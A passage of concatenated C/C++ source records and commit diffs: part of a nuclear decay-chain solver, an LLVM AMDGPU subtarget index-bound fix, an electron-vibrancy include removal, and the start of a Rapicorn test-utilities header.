(pwr=termNum;pwr>0;pwr--)\n      {\n\tinvPwrSum = 0;\n\n\t\/* all poles before the current pole *\/\n\tfor (pNum=0; pNum<idx; pNum++)\n\t  invPwrSum += mult[pNum] * pow( pole[pNum]-pole[idx] , -pwr );\n\n\t\/* all poles after the current pole *\/\n\tfor (pNum++; pNum<numPoles; pNum++)\n\t  invPwrSum += mult[pNum] * pow( pole[pNum]-pole[idx] , -pwr );\n\n\t\/* recursively add terms *\/\n\tresult += -2*(pwr%2 -.5) * (fact(termNum-1)\/fact(termNum-pwr)) \n\t  * invPwrSum * dGn(idx,pole,mult,numPoles,termNum-pwr);\n      }\n  \n  return result;\n\n}\n\ndouble laplaceInverse(int row, int col, double *d, double t, \n\t\t      int& finitePositive)\n{\n  int idx, checkIdx, multCnt;\n  int numPoles = 0;\n  int *mult = new int[row-col+1];\n  double *pole = new double[row-col+1];\n  double poleResult, result  = 0;\n\n  finitePositive = TRUE;\n\n  \/* index all the poles with the multiplicities *\/\n  for (idx = col;idx<=row;idx++)\n    {\n      for (checkIdx=0;checkIdx<numPoles;checkIdx++)\n\tif ( fabs((d[idx]-pole[checkIdx]))<SMALL_REL_DIFF*d[idx] )\n\t  {\n\t    mult[checkIdx]++;\n\t    break;\n\t  }\n      if (checkIdx == numPoles)\n\t{\n\t  pole[checkIdx] = d[idx];\n\t  mult[checkIdx] = 1;\n\t  numPoles++;\n\t}\n    }\n\n  \/* perform recursive analytic Laplace inversion *\/\n  for (idx=0;idx<numPoles;idx++)\n    {\n      poleResult = 0;\n\n      for (multCnt=mult[idx];multCnt>0;multCnt--)\n\tpoleResult += dGn(idx, pole, mult, numPoles, mult[idx] - multCnt)\n\t  * pow(t,multCnt-1)\n\t  \/ fact(multCnt-1) \n\t  \/ fact(mult[idx]-multCnt) ;\n\n      result += poleResult * exp(-pole[idx]*t);\n    }\n\n  delete mult;\n  delete pole;\n\n  if (result < 0 || isnan(result))\n    {\n      finitePositive = FALSE;\n      return 0;\n    } \n  else\n    return result;\n\n}\n\n\n\/* function to return a rough estimate of whether or not the expansion technique\n   will converge quickly enough *\/\nint smallExpansion(int row, int col, double *d, double t)\n{\n  int poleNum, n=MAXNUMEXPTERMS;\n  int rank=row-col+1;\n  double max=0;\n\n  \/* for each pole in the problem *\/\n  for (poleNum=col;poleNum<=row;poleNum++)\n    \/* determine the largest pole *\/\n    max = d[poleNum]>max?d[poleNum]:max;\n\n  \/* using a defined maximum number of terms, if the last term results\n   * in a correction which is too large *\/\n  if (rank*pow(max*t,n)*fact(rank-1)\/(n*fact(n+rank-1)) > MAXEXPTOL)\n    \/* if too large, return false *\/\n    return FALSE;\n\n  return TRUE;\n}\n\n\n\n\ndouble laplaceExpansion(int row, int col, double *d, double t, int &converged)\n{\n\n  int idx, termNum;\n  int sz = row-col;\n  double result, correction;\n\n  \/* initialize matrix with destruction rates *\/\n  Matrix poleMat(d,sz+1,col);\n  Matrix powPoleMat(sz+1);\n\n  \/* innocent until proven guilty *\/\n  converged = TRUE;\n\n  \/* zeroth term is simply the correct power of t\/n!  *\/\n  result = pow(t,sz)\/fact(sz);\n\n  \/* for each successive term *\/\n  for (termNum=1;termNum<MAXNUMEXPTERMS;termNum++)\n    {\n      \/* multiply the power matrix by the non-power matrix *\/\n      powPoleMat *= poleMat;\n\n      \/* power of t\/n! times coefficient, with alternating sign!! *\/\n      correction = powPoleMat.rowSum(sz) * ( 1-2*(termNum%2) )\n\t* pow(t,termNum+sz)\/fact(termNum+sz);\n      \n      if (fabs(correction\/result) > MAXEXPTOL)\n\t\/* use this term if significant *\/\n\tresult += correction;\n      else\n\t\/* otherwise break *\/\n\tbreak;\n    }\n\n  \/* for monstrous decay rates (e.g. Be-8) the correction or\n   * result may become infinite *\/\n  if (termNum == MAXNUMEXPTERMS || isnan(result))\n    converged = FALSE;\n  \n  return result;\n}\n\ndouble fillTElement(int row, int col, double *P, double *d, double t, \n\t\t    int* loopRank, int rank)\n{\n\n  int idx,loopIdx,parLoopIdx;\n  int defSuccess, altSuccess;\n  double result;\n\n  \/* process loop information in reverse problem *\/\n  if (rank != row)\n    {\n      loopIdx = loopRank[rank];\n      parLoopIdx = loopRank[rank+1];\n    }\n  else\n    {\n      loopIdx = loopRank[row];\n      parLoopIdx = loopRank[row-1];\n    }\n\n  \/* if there is no loop, at this level, row - loopIdx = -1 *\/\n  if (loopIdx == -1)\n    loopIdx = row+1;\n\n  \/* do this product up front to eliminate costly\n   * computation which may end in 0 anyway *\/\n  double productionProduct = 1;\n  for (idx=col;idx<row;idx++)\n    productionProduct *= P[idx+1];\n\n  if (productionProduct == 0)\n    return productionProduct;\n\n  \/* implement default method *\/\n\n  \/* This seemingly complicated condition saves using the loop\n   * solution during a reference calculation when only the last\n   * isotope introduces the loop.  In this case, there is no real\n   * degeneracy, since the destruction rate of the last isotope is\n   * zero'ed for a reference calculation.  The condition can be\n   * understood as follows: \n   *  - when checking for loop solution, if we are calculating the\n   *    production from an isotope inside the loop, generally use\n   *    the loop sol'n, but only iff\n   *  - only the last isotope can ever have a destruction rate of\n   *    zero\n   *      - if d[row] > 0, use loop sol'n\n   *  - even if last isotope does have a 0 destruction rate, if\n   *    the previous isotope was already in a loop, we need to use\n   *    the loop sol'n\n   *      - if loopRank[row-1] > -1, check for loop sol'n \\\n   *        (This check must be done after the first one because\n   *        it ensures that we are not checking loopRank[-1])*\/\n  if (col<=row-loopIdx && (d[row] > 0 || parLoopIdx >-1))\n    {\n      \/* get rough estimate of success of expansion method *\/\n      defSuccess = smallExpansion(row,col,d,t);\n      \n      \/* if we think the expansion method is good, use it *\/\n      if (defSuccess)\n\tresult = laplaceExpansion(row,col,d,t,defSuccess);\n      \n      \/* if either we think the expansion method is bad,\n         or we prove that it is bad, use the inversion method *\/\n      if (!defSuccess)\n\tresult = laplaceInverse(row,col,d,t,altSuccess);\n    }\n  else\n    result = bateman(row,col,d,t,altSuccess);\n\n  \/* used during debugging \n  if (isinf(result) || isnan(result) )\n    error(2001,\"No mathematical method was successful!\");  *\/\n     \n  return result*productionProduct;\n}\n\n<|endoftext|>"}
{"text":"<commit_before>\/\/===-- AMDGPUSubtarget.cpp - AMDGPU Subtarget Information ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implements the AMDGPU specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"AMDGPUSubtarget.h\"\n\nusing namespace llvm;\n\n#define GET_SUBTARGETINFO_ENUM\n#define GET_SUBTARGETINFO_TARGET_DESC\n#define GET_SUBTARGETINFO_CTOR\n#include \"AMDGPUGenSubtargetInfo.inc\"\n\nAMDGPUSubtarget::AMDGPUSubtarget(StringRef TT, StringRef CPU, StringRef FS) :\n  AMDGPUGenSubtargetInfo(TT, CPU, FS), DumpCode(false) {\n    InstrItins = getInstrItineraryForCPU(CPU);\n\n  \/\/ Default card\n  StringRef GPU = CPU;\n  Is64bit = false;\n  DefaultSize[0] = 64;\n  DefaultSize[1] = 1;\n  DefaultSize[2] = 1;\n  HasVertexCache = false;\n  TexVTXClauseSize = 0;\n  Gen = AMDGPUSubtarget::R600;\n  FP64 = false;\n  CaymanISA = false;\n  EnableIRStructurizer = true;\n  EnableIfCvt = true;\n  ParseSubtargetFeatures(GPU, FS);\n  DevName = GPU;\n}\n\nbool\nAMDGPUSubtarget::is64bit() const  {\n  return Is64bit;\n}\nbool\nAMDGPUSubtarget::hasVertexCache() const {\n  return HasVertexCache;\n}\nshort\nAMDGPUSubtarget::getTexVTXClauseSize() const {\n  return TexVTXClauseSize;\n}\nenum AMDGPUSubtarget::Generation\nAMDGPUSubtarget::getGeneration() const {\n  return Gen;\n}\nbool\nAMDGPUSubtarget::hasHWFP64() const {\n  return FP64;\n}\nbool\nAMDGPUSubtarget::hasCaymanISA() const {\n  return CaymanISA;\n}\nbool\nAMDGPUSubtarget::IsIRStructurizerEnabled() const {\n  return EnableIRStructurizer;\n}\nbool\nAMDGPUSubtarget::isIfCvtEnabled() const {\n  return EnableIfCvt;\n}\nbool\nAMDGPUSubtarget::isTargetELF() const {\n  return false;\n}\nsize_t\nAMDGPUSubtarget::getDefaultSize(uint32_t dim) const {\n  if (dim > 3) {\n    return 1;\n  } else {\n    return DefaultSize[dim];\n  }\n}\n\nstd::string\nAMDGPUSubtarget::getDataLayout() const {\n  std::string DataLayout = std::string(\n   \"e\"\n   \"-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32\"\n   \"-v16:16:16-v24:32:32-v32:32:32-v48:64:64-v64:64:64-v96:128:128-v128:128:128\"\n   \"-v192:256:256-v256:256:256-v512:512:512-v1024:1024:1024-v2048:2048:2048\"\n   \"-n32:64\"\n  );\n\n  if (hasHWFP64()) {\n    DataLayout.append(\"-f64:64:64\");\n  }\n\n  if (is64bit()) {\n    DataLayout.append(\"-p:64:64:64\");\n  } else {\n    DataLayout.append(\"-p:32:32:32\");\n  }\n\n  if (Gen >= AMDGPUSubtarget::SOUTHERN_ISLANDS) {\n    DataLayout.append(\"-p3:32:32:32\");\n  }\n\n  return DataLayout;\n}\n\nstd::string\nAMDGPUSubtarget::getDeviceName() const {\n  return DevName;\n}\n<commit_msg>Fix an index array check.<commit_after>\/\/===-- AMDGPUSubtarget.cpp - AMDGPU Subtarget Information ----------------===\/\/\n\/\/\n\/\/                     The LLVM Compiler Infrastructure\n\/\/\n\/\/ This file is distributed under the University of Illinois Open Source\n\/\/ License. See LICENSE.TXT for details.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\/\/\n\/\/\/ \\file\n\/\/\/ \\brief Implements the AMDGPU specific subclass of TargetSubtarget.\n\/\/\n\/\/===----------------------------------------------------------------------===\/\/\n\n#include \"AMDGPUSubtarget.h\"\n\nusing namespace llvm;\n\n#define GET_SUBTARGETINFO_ENUM\n#define GET_SUBTARGETINFO_TARGET_DESC\n#define GET_SUBTARGETINFO_CTOR\n#include \"AMDGPUGenSubtargetInfo.inc\"\n\nAMDGPUSubtarget::AMDGPUSubtarget(StringRef TT, StringRef CPU, StringRef FS) :\n  AMDGPUGenSubtargetInfo(TT, CPU, FS), DumpCode(false) {\n    InstrItins = getInstrItineraryForCPU(CPU);\n\n  \/\/ Default card\n  StringRef GPU = CPU;\n  Is64bit = false;\n  DefaultSize[0] = 64;\n  DefaultSize[1] = 1;\n  DefaultSize[2] = 1;\n  HasVertexCache = false;\n  TexVTXClauseSize = 0;\n  Gen = AMDGPUSubtarget::R600;\n  FP64 = false;\n  CaymanISA = false;\n  EnableIRStructurizer = true;\n  EnableIfCvt = true;\n  ParseSubtargetFeatures(GPU, FS);\n  DevName = GPU;\n}\n\nbool\nAMDGPUSubtarget::is64bit() const  {\n  return Is64bit;\n}\nbool\nAMDGPUSubtarget::hasVertexCache() const {\n  return HasVertexCache;\n}\nshort\nAMDGPUSubtarget::getTexVTXClauseSize() const {\n  return TexVTXClauseSize;\n}\nenum AMDGPUSubtarget::Generation\nAMDGPUSubtarget::getGeneration() const {\n  return Gen;\n}\nbool\nAMDGPUSubtarget::hasHWFP64() const {\n  return FP64;\n}\nbool\nAMDGPUSubtarget::hasCaymanISA() const {\n  return CaymanISA;\n}\nbool\nAMDGPUSubtarget::IsIRStructurizerEnabled() const {\n  return EnableIRStructurizer;\n}\nbool\nAMDGPUSubtarget::isIfCvtEnabled() const {\n  return EnableIfCvt;\n}\nbool\nAMDGPUSubtarget::isTargetELF() const {\n  return false;\n}\nsize_t\nAMDGPUSubtarget::getDefaultSize(uint32_t dim) const {\n  if (dim > 2) {\n    return 1;\n  } else {\n    return DefaultSize[dim];\n  }\n}\n\nstd::string\nAMDGPUSubtarget::getDataLayout() const {\n  std::string DataLayout = std::string(\n   \"e\"\n   \"-i1:8:8-i8:8:8-i16:16:16-i32:32:32-i64:64:64-f32:32:32\"\n   \"-v16:16:16-v24:32:32-v32:32:32-v48:64:64-v64:64:64-v96:128:128-v128:128:128\"\n   \"-v192:256:256-v256:256:256-v512:512:512-v1024:1024:1024-v2048:2048:2048\"\n   \"-n32:64\"\n  );\n\n  if (hasHWFP64()) {\n    DataLayout.append(\"-f64:64:64\");\n  }\n\n  if (is64bit()) {\n    DataLayout.append(\"-p:64:64:64\");\n  } else {\n    DataLayout.append(\"-p:32:32:32\");\n  }\n\n  if (Gen >= AMDGPUSubtarget::SOUTHERN_ISLANDS) {\n    DataLayout.append(\"-p3:32:32:32\");\n  }\n\n  return DataLayout;\n}\n\nstd::string\nAMDGPUSubtarget::getDeviceName() const {\n  return DevName;\n}\n<|endoftext|>"}
{"text":"<commit_before>\/\/----------------------------------------------------------------------------\n\/\/ electron-vibrancy\n\/\/ Copyright 2016 arkenthera\n\/\/\n\/\/ MIT License\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice\n\/\/ shall be included in all copies or substantial\n\/\/ portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/----------------------------------------------------------------------------\n#include \".\/Vibrancy.h\"\n#include <dwmapi.h>\n\/\/----------------------------------------------------------------------------\nnamespace Vibrancy {\n    static VibrancyHelper vibHelper_;\n\n    Vibrancy::Vibrancy() {\n    }\n\n    Vibrancy::~Vibrancy() {\n    }\n    void Vibrancy::Init(Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target) {\n        v8::Local<v8::FunctionTemplate> tpl =\n            Nan::New<v8::FunctionTemplate>(SetVibrancy);\n\n        tpl->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl1 =\n            Nan::New<v8::FunctionTemplate>(AddView);\n        tpl1->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl2 =\n            Nan::New<v8::FunctionTemplate>(UpdateView);\n        tpl2->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl3 =\n            Nan::New<v8::FunctionTemplate>(RemoveView);\n        tpl3->InstanceTemplate()->SetInternalFieldCount(1);\n\n        Nan::Set(target,\n            Nan::New(\"SetVibrancy\").ToLocalChecked(),\n            Nan::GetFunction(tpl).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"AddView\").ToLocalChecked(),\n            Nan::GetFunction(tpl1).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"UpdateView\").ToLocalChecked(),\n            Nan::GetFunction(tpl2).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"RemoveView\").ToLocalChecked(),\n            Nan::GetFunction(tpl3).ToLocalChecked());\n    }\n\n    NAN_METHOD(Vibrancy::SetVibrancy) {\n        v8::Local<v8::Object> toggleStateObj =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Object> handleBuffer =\n            info[1].As<v8::Object>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        if (toggleStateObj->IsNull())\n            return;\n\n        if (handleBuffer->IsNull())\n            return;\n\n        bool toggleState = toggleStateObj->BooleanValue();\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        if (!toggleState)\n            result = vibHelper_.DisableVibrancy((unsigned char*)bufferData);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::AddView) {\n        v8::Local<v8::Object> handleBuffer = info[0].As<v8::Object>();\n        v8::Local<v8::Array> options = info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        int32_t result = -1;\n\n        result = vibHelper_.AddView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::UpdateView) {\n        v8::Local<v8::Object> handleBuffer =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Array> options =\n            info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        result = vibHelper_.UpdateView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::RemoveView) {\n        v8::Local<v8::Object> handleBuffer =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Array> options =\n            info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        result = vibHelper_.RemoveView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n}   \/\/  namespace Vibrancy\n<commit_msg>Ah I can't believe I forgot this<commit_after>\/\/----------------------------------------------------------------------------\n\/\/ electron-vibrancy\n\/\/ Copyright 2016 arkenthera\n\/\/\n\/\/ MIT License\n\/\/ Permission is hereby granted, free of charge, to any person obtaining a copy\n\/\/ of this software and associated documentation files (the \"Software\"), to deal\n\/\/ in the Software without restriction, including without limitation the rights\n\/\/ to use, copy, modify, merge, publish, distribute, sublicense, and\/or sell\n\/\/ copies of the Software, and to permit persons to whom the Software is\n\/\/ furnished to do so, subject to the following conditions:\n\/\/\n\/\/ The above copyright notice and this permission notice\n\/\/ shall be included in all copies or substantial\n\/\/ portions of the Software.\n\/\/\n\/\/ THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n\/\/ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n\/\/ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n\/\/ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n\/\/ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n\/\/ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n\/\/ SOFTWARE.\n\/\/----------------------------------------------------------------------------\n#include \".\/Vibrancy.h\"\n\n\/\/----------------------------------------------------------------------------\nnamespace Vibrancy {\n    static VibrancyHelper vibHelper_;\n\n    Vibrancy::Vibrancy() {\n    }\n\n    Vibrancy::~Vibrancy() {\n    }\n    void Vibrancy::Init(Nan::ADDON_REGISTER_FUNCTION_ARGS_TYPE target) {\n        v8::Local<v8::FunctionTemplate> tpl =\n            Nan::New<v8::FunctionTemplate>(SetVibrancy);\n\n        tpl->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl1 =\n            Nan::New<v8::FunctionTemplate>(AddView);\n        tpl1->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl2 =\n            Nan::New<v8::FunctionTemplate>(UpdateView);\n        tpl2->InstanceTemplate()->SetInternalFieldCount(1);\n\n        v8::Local<v8::FunctionTemplate> tpl3 =\n            Nan::New<v8::FunctionTemplate>(RemoveView);\n        tpl3->InstanceTemplate()->SetInternalFieldCount(1);\n\n        Nan::Set(target,\n            Nan::New(\"SetVibrancy\").ToLocalChecked(),\n            Nan::GetFunction(tpl).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"AddView\").ToLocalChecked(),\n            Nan::GetFunction(tpl1).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"UpdateView\").ToLocalChecked(),\n            Nan::GetFunction(tpl2).ToLocalChecked());\n\n        Nan::Set(target,\n            Nan::New(\"RemoveView\").ToLocalChecked(),\n            Nan::GetFunction(tpl3).ToLocalChecked());\n    }\n\n    NAN_METHOD(Vibrancy::SetVibrancy) {\n        v8::Local<v8::Object> toggleStateObj =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Object> handleBuffer =\n            info[1].As<v8::Object>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        if (toggleStateObj->IsNull())\n            return;\n\n        if (handleBuffer->IsNull())\n            return;\n\n        bool toggleState = toggleStateObj->BooleanValue();\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        if (!toggleState)\n            result = vibHelper_.DisableVibrancy((unsigned char*)bufferData);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::AddView) {\n        v8::Local<v8::Object> handleBuffer = info[0].As<v8::Object>();\n        v8::Local<v8::Array> options = info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        int32_t result = -1;\n\n        result = vibHelper_.AddView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::UpdateView) {\n        v8::Local<v8::Object> handleBuffer =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Array> options =\n            info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        result = vibHelper_.UpdateView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n\n    NAN_METHOD(Vibrancy::RemoveView) {\n        v8::Local<v8::Object> handleBuffer =\n            info[0].As<v8::Object>();\n        v8::Local<v8::Array> options =\n            info[1].As<v8::Array>();\n\n        v8::Isolate* isolate = info.GetIsolate();\n        v8::HandleScope scope(isolate);\n\n        char* bufferData = node::Buffer::Data(handleBuffer);\n\n        bool result = false;\n\n        result = vibHelper_.RemoveView((unsigned char*)bufferData, options);\n\n        info.GetReturnValue().Set(result);\n    }\n}   \/\/  namespace Vibrancy\n<|endoftext|>"}
{"text":"<commit_before>\/* Rapicorn\n * Copyright (C) 2008 Tim Janik\n *\n * This library is free software; you can redistribute it and\/or\n * modify it under the terms of the GNU Lesser General Public\n * License as published by the Free Software Foundation; either\n * version 2.1 of the License, or (at your option) any later version.\n *\n * This library is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\n * Lesser General Public License for more details.\n *\n * A copy of the GNU Lesser General Public License should ship along\n * with this library; if not, see http:\/\/www.gnu.org\/copyleft\/.\n *\/\n#ifndef __RAPICORN_TESTUTILS_HH__\n#define __RAPICORN_TESTUTILS_HH__\n\n#include <rcore\/rcore.hh>\n\n\/\/ Test Macros\n#define TTITLE(...)             Rapicorn::Test::test_output (3, __VA_ARGS__)\n#define TSTART(...)             Rapicorn::Test::test_output (4, __VA_ARGS__)\n#define TDONE()                 Rapicorn::Test::test_output (5, \"%s\", \"\")\n#define TOUT(...)               Rapicorn::Test::test_output (0, __VA_ARGS__)\n#define TMSG(...)               Rapicorn::Test::test_output (1, __VA_ARGS__)\n#define TINFO(...)              Rapicorn::Test::test_output (2, __VA_ARGS__)\n#define TWARN(...)              Rapicorn::Test::test_output (6, __VA_ARGS__)\n#define TRUN(name, func)        ({ TSTART (name); func(); TDONE(); })\n#define TCMP(a,cmp,b)           TCMP_op (a,cmp,b,#a,#b)\n#define TASSERT(code)           TASSERT_impl (code)\n#define TOK()                   do {} while (0) \/\/ printerr (\".\")\n#define TASSERT_impl(code)      do { if (code) TOK(); else      \\\n      Rapicorn::Logging::message (\"ABORT\", RAPICORN__FILE__, __LINE__, RAPICORN__FUNC__.c_str(), \\\n                                  \"assertion failed: %s\", #code);       \\\n  } while (0)\n#define TCMP_op(a,cmp,b,sa,sb)  do { if (a cmp b) TOK(); else {     \\\n  String __tassert_va = Rapicorn::Test::stringify_arg (a, #a);  \\\n  String __tassert_vb = Rapicorn::Test::stringify_arg (b, #b);  \\\n  Rapicorn::Logging::message (\"ABORT\", RAPICORN__FILE__, __LINE__, RAPICORN__FUNC__.c_str(), \\\n                              \"assertion failed: %s %s %s: %s %s %s\", \\\n                              sa, #cmp, sb, __tassert_va.c_str(), #cmp, __tassert_vb.c_str()); \\\n    } } while (0)\n\nnamespace Rapicorn {\n\nvoid init_core_test (const String &app_ident, int *argcp, char **argv, const StringVector &args = StringVector());\n\nnamespace Test {\n\n\/**\n * Class for profiling benchmark tests.\n * UseCase: Benchmarking function implementations, e.g. to compare sorting implementations.\n *\/\nclass Timer {\n  const double   m_deadline;\n  vector<double> m_samples;\n  double         m_test_duration;\n  int64          m_n_runs;\n  int64          loops_needed () const;\n  void           reset        ();\n  void           submit       (double elapsed, int64 repetitions);\n  static double  bench_time   ();\npublic:\n  \/\/\/ Create a Timer() instance, specifying an optional upper bound for test durations.\n  explicit       Timer        (double deadline_in_secs = 0);\n  virtual       ~Timer        ();\n  int64          n_runs       () const { return m_n_runs; }             \/\/\/< Number of benchmark runs executed\n  double         test_elapsed () const { return m_test_duration; }      \/\/\/< Seconds spent in benchmark()\n  double         min_elapsed  () const;         \/\/\/< Minimum time benchmarked for a @a callee() call.\n  double         max_elapsed  () const;         \/\/\/< Maximum time benchmarked for a @a callee() call.\n  template<typename Callee>\n  double         benchmark    (Callee callee);\n};\n\n\/**\n * @param callee        A callable function or object.\n * Method to benchmark the execution time of @a callee.\n * @returns Minimum runtime in seconds,\n *\/\ntemplate<typename Callee> double\nTimer::benchmark (Callee callee)\n{\n  reset();\n  for (int64 runs = loops_needed(); runs; runs = loops_needed())\n    {\n      int64 n = runs;\n      const double start = bench_time();\n      while (RAPICORN_LIKELY (n--))\n        callee();\n      const double stop = bench_time();\n      submit (stop - start, runs);\n    }\n  return min_elapsed();\n}\n\n\/\/ === test maintenance ===\nint     run             (void);         \/\/\/< Run all registered tests.\nbool    verbose         (void);         \/\/\/< Indicates whether tests should run verbosely.\nbool    logging         (void);         \/\/\/< Indicates whether only logging tests should be run.\nbool    slow            (void);         \/\/\/< Indicates whether only slow tests should be run.\nbool    ui_test         (void);         \/\/\/< Indicates execution of ui-thread tests.\n\nvoid    test_output     (int kind, const char *format, ...) RAPICORN_PRINTF (2, 3);\n\nvoid    add_internal    (const String &testname,\n                         void        (*test_func) (void*),\n                         void         *data);\nvoid    add             (const String &funcname,\n                         void (*test_func) (void));\ntemplate<typename D>\nvoid    add             (const String &testname,\n                         void        (*test_func) (D*),\n                         D            *data)\n{\n  add_internal (testname, (void(*)(void*)) test_func, (void*) data);\n}\n\n\/\/\/ == Stringify Args ==\ninline String                   stringify_arg  (const char   *a, const char *str_a) { return string_to_cquote (a); }\ntemplate<class V> inline String stringify_arg  (V            *a, const char *str_a) { return string_printf (\"%p\", a); }\ntemplate<class A> inline String stringify_arg  (const A      &a, const char *str_a) { return str_a; }\ntemplate<> inline String stringify_arg<float>  (const float  &a, const char *str_a) { return string_printf (\"%.8g\", a); }\ntemplate<> inline String stringify_arg<double> (const double &a, const char *str_a) { return string_printf (\"%.17g\", a); }\ntemplate<> inline String stringify_arg<bool>   (const bool   &a, const char *str_a) { return string_printf (\"%u\", a); }\ntemplate<> inline String stringify_arg<int8>   (const int8   &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int16>  (const int16  &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int32>  (const int32  &a, const char *str_a) { return string_printf (\"%d\", a); }\ntemplate<> inline String stringify_arg<int64>  (const int64  &a, const char *str_a) { return string_printf (\"%lld\", a); }\ntemplate<> inline String stringify_arg<uint8>  (const uint8  &a, const char *str_a) { return string_printf (\"0x%02x\", a); }\ntemplate<> inline String stringify_arg<uint16> (const uint16 &a, const char *str_a) { return string_printf (\"0x%04x\", a); }\ntemplate<> inline String stringify_arg<uint32> (const uint32 &a, const char *str_a) { return string_printf (\"0x%08x\", a); }\ntemplate<> inline String stringify_arg<uint64> (const uint64 &a, const char *str_a) { return string_printf (\"0x%08Lx\", a); }\ntemplate<> inline String stringify_arg<String> (const String &a, const char *str_a) { return string_to_cquote (a); }\n\nclass RegisterTest {\n  static void add_test (char kind, const String &testname, void (*test_func) (void*), void *data);\npublic:\n  RegisterTest (const char k, const String &testname, void (*test_func) (void))\n  { add_test (k, testname, (void(*)(void*)) test_func, NULL); }\n  RegisterTest (const char k, const String &testname, void (*test_func) (ptrdiff_t), ptrdiff_t data)\n  { add_test (k, testname, (void(*)(void*)) test_func, (void*) data); }\n  template<typename D>\n  RegisterTest (const char k, const String &testname, void (*test_func) (D*), D *data)\n  { 